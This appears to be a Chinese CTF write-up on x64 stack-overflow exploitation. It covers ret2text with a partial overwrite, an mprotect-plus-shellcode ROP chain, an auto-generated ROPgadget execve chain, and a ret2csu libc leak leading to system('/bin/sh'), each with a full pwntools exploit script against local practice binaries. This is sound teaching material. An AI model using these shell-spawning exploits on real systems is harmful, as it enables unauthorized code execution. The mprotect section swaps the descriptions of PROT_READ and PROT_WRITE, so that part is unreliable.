Ret2text
一道常见的栈溢出,但有点新意
放入IDA中进行分析,很明显存在栈溢出,0x20+8=40,0x29=41,只能溢出一个字节,而p64打包为八字节
这个时候调整思路,pwndbg去查看main函数地址为0x401249
IDA中后门的地址为0x401209
也就是说我们只需覆盖一个字节(将49覆盖为09)即可
思路:通过栈溢出后覆盖最后一个字节
Exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
gdb.attach(p)
pause()
p.recvuntil("hello")
pay=b'a'*(0x20+8)+b'\x09'
bug()
p.sendline(pay)
p.interactive()
mprotect之shellcode
mprotect 函数
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
- prot 的取值如下,通过 | 可以将几个属性结合使用(值相加):
- PROT_READ:可写,值为 1
- PROT_WRITE:可读, 值为 2
- PROT_EXEC:可执行,值为 4
- PROT_NONE:不允许访问,值为 0
需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
如果执行成功,函数返回 0;如果执行失败,函数返回 -1,并且通过 errno 变量表示具体原因。错误的原因主要有以下几个:
- EACCES:该内存不能设置为相应权限。这是可能发生的,比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。
- EINVAL:start 不是一个有效指针,指向的不是某个内存页的开头。
- ENOMEM:内核内部的结构体无法分配。
- ENOMEM:进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
当一个进程的内存访问行为违背了内存的保护属性,内核将发出 SIGSEGV(Segmentation fault,段错误)信号,并且终止该进程。
例题
checksec一下
放入IDA,进行分析,左侧许多函数,为静态编译,这样我们就有多种方法可以选择,首先用最经典的方法mprotect函数主函数发现gets(危险函数),存在栈溢出
左侧ctrl+f,搜索mprotect
之后tab键,空格得到mprotect的地址0x4353E0
更改权限后我们还需要read函数来读入shellcode,相同的方法得到read函数地址0x434860
还缺少bss(读入的地方),ctrl+s搜索bss=0x6C1C40
(这里注意:要将bss段地址后三位修改为0,方便我们获取更多的内存以读入shellcode)
这些准备好后,我们还需要传参所用的寄存器,rdi,rsi,rdx,寄存器的相关知识可以参考这篇文章
ROPgadget,可以借用这个工具去寻找寄存器的位置
这样一切都准备好了
Exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",26023)
p=process("./pwn3")
elf=ELF("./pwn3")
def bug():
gdb.attach(p)
pause()
mprotect=0x4353E0
bss=0x6C1C40
rdi=0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
read=0x434860
p.recvuntil("where is my system_x64?")
pay=b'a'*(0x50+8)+p64(rdi)+p64(0x6C1000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x100)+p64(read)+p64(bss)
#bug()
p.sendline(pay)
pause()
shellcode=asm(shellcraft.sh())
bug()
p.sendline(shellcode)
p.interactive()
第二种解法:自动化ROP链(体验一把梭哈的快感)
有栈溢出,自己找rop链,最简单的方法,让ROPgadget帮我们弄好呀,可是有点长,所有需要我们修改。
终端命令:(pwn3为文件名)
ROPgadget --binary pwn3 --ropchain
有点长,但很方便(!!!!)
exp:
from pwn import *
from struct import pack
context(os='linux',arch='amd64',log_level='debug')
io=process("./pwn3")def bug():
gdb.attach(io)
pause()
io.recvuntil("where is my system_x64?")
p = b'a'*(0x50+8)p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0060) # @ .data
p += pack('<Q', 0x000000000046b9f8) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004016c3) # pop rdi ; ret
p += pack('<Q', 0x00000000006c0060) # @ .data
p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x00000000004377d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000400488) # syscall
bug()
io.sendline(p)
io.interactive()
注意,需要引入pack库
from struct import pack
而且rop链需要我们自己构造栈溢出
自动化rop链是很简单,但也具有局限性,否则直接一把梭哈出题人怎么出嘞:
要求:
1.静态编译
2.gets或者read函数并且该read函数能溢出大量字节
当在x64环境下函数的参数传递凑不齐类似“pop rdi;ret”/“pop rsi;ret”/“pop rdx;ret”等3个传参的gadgets时,就可以考虑使用_libc_csu_init函数的通用gatgets。
x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。
(不同版本的这个函数有一定的区别)
简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)
这需要大家了解一下一些汇编指令才能了解,可以参考ret2csu这篇文章
例题:
开启NX,64位,IDA分析:
可以看到,这题不是静态编译,因为左边函数就那么点
分析代码可知:存在gets函数,可以栈溢出,下面还有一个判断语句,用strlen函数判断s的长度,如果s的长度大于0x10个字节就退出程序
知识点:
strlen函数虽然是判断变量长度的,但是会遇00截断,就是当strlen函数识别到00时就不继续往下识别了,其实许多打印函数也是这样,例如printf,puts,write,它们都会遇00截断。
我们可以发现这个程序只有一个溢出点,并没有后门system("/bin/sh"),于是我想到了用Ret2libc的方法做,可以看到左边的函数栏是存在打印函数write的,我们可以利用这个打印函数来泄露libc基址
但是我们找一下gadget可以发现并没有rdx寄存器,这就让我们想到了Ret2csu
查看一下__libc_csu_init的汇编代码
分析代码:
.text:0000000000401310 loc_401310: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401310 4C 89 F2 mov rdx, r14 #将r14中的值赋值给rdx
.text:0000000000401313 4C 89 EE mov rsi, r13 #将r13中的值赋值给rsi
.text:0000000000401316 44 89 E7 mov edi, r12d #将r12中的值赋值给edi(edi为rdi的后四位)
.text:0000000000401319 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] #调用r15+rbx*8里面存的值的地址
.text:0000000000401319
.text:000000000040131D 48 83 C3 01 add rbx, 1 #将rbx里的值+1
.text:0000000000401321 48 39 DD cmp rbp, rbx
.text:0000000000401324 75 EA jnz short loc_401310 #对比rbp里的值与rbx里的值,如果相同就继续运行程序,如果不同就返回0x401310
.text:0000000000401324
.text:0000000000401326
.text:0000000000401326 loc_401326: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401326 48 83 C4 08 add rsp, 8 #将rsp里的值+8
.text:000000000040132A 5B pop rbx #将栈顶的数据弹到rbx里
.text:000000000040132B 5D pop rbp #将栈顶的数据弹到rbp里
.text:000000000040132C 41 5C pop r12 #将栈顶的数据弹到r12里
.text:000000000040132E 41 5D pop r13 #将栈顶的数据弹到r13里
.text:0000000000401330 41 5E pop r14 #将栈顶的数据弹到r14里
.text:0000000000401332 41 5F pop r15 #将栈顶的数据弹到r15里
.text:0000000000401334 C3 retn #返回
思路如下:
先将栈溢出的返回地址填成0x40132A,将需要的数据依次填入栈顶,依次弹入寄存器中,随后在执行到0x401334,retn返回的时候将返回地址填成0x401310,这样,我们就可以控制edi,rsi,rdx里的值,并调用write函数泄露基址。
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=process("./pwn4")
elf=ELF("./pwn4")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" )
def bug():
gdb.attach(p)
pause()
vuln=0x4011FD
rdi=0x0000000000401333
p.recvuntil("This challenge no backdoor!")
payload=b'\x00'*(0x10+8)+p64(0x40132A)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(6)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(vuln)
bug()
p.sendline(payload)
write_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()p.recvuntil("This challenge no backdoor!")
pay=b'\x00'*(0x10+8)+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.sendline(pay)
p.interactive()
打本地